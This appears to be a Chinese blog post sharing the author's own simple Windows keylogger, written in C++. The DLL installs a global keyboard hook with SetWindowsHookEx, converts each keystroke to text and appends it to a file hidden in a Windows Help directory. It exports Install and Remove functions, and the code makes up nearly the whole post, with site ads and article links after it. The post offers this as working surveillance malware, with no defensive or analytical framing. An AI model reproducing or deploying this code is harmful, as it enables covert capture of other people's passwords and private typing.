【2022.8.22】自己写的一款很简单的键盘记录器,已去掉获取窗口标题部分逻辑,用的KeyboardProc回调,基本都是提供好的接口
#include "pch.h"
HINSTANCE hin;
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
hin = hModule;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) BOOL Install() {
g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hin, 0);
Sleep(1000 * 60 * 60 * 24 * 7);
if (g_hHook == NULL)
return false;
return true;
}
extern "C" __declspec(dllexport) BOOL Remove() {
return UnhookWindowsHookEx(g_hHook);
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
HANDLE pFile = CreateFile("C:\\Windows\\Help\\Help\\Key\\key.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwHigh;
DWORD dwPos = GetFileSize(pFile, &dwHigh);
SetFilePointer(pFile, dwPos, 0, FILE_BEGIN);
if (pFile == INVALID_HANDLE_VALUE) {
CloseHandle(pFile);
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
char szText[MAX_PATH];
char szKeyState[256] = { 0 };
char szAscii[4] = { 0 };
DWORD writeBytes;
int enter;
GetKeyboardState((PBYTE ) szKeyState);
char type = GetKeyState(VK_SHIFT);
szKeyState[VK_SHIFT] = type;
int code = lParam;
code = code >> 16;
int i = ToAscii(wParam, code, (const BYTE *) szKeyState, (LPWORD) szAscii, 0);
szAscii[i] = 0;
if ((lParam & 0x80000000) == 0) {
enter = GetKeyState(VK_RETURN);
if (enter < 0) {
wsprintf(szText, "\r\n");
}
else {
wsprintf(szText, "%s", szAscii);
}
WriteFile(pFile, szText, strlen(szText), &writeBytes, NULL);
}
CloseHandle(pFile);
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库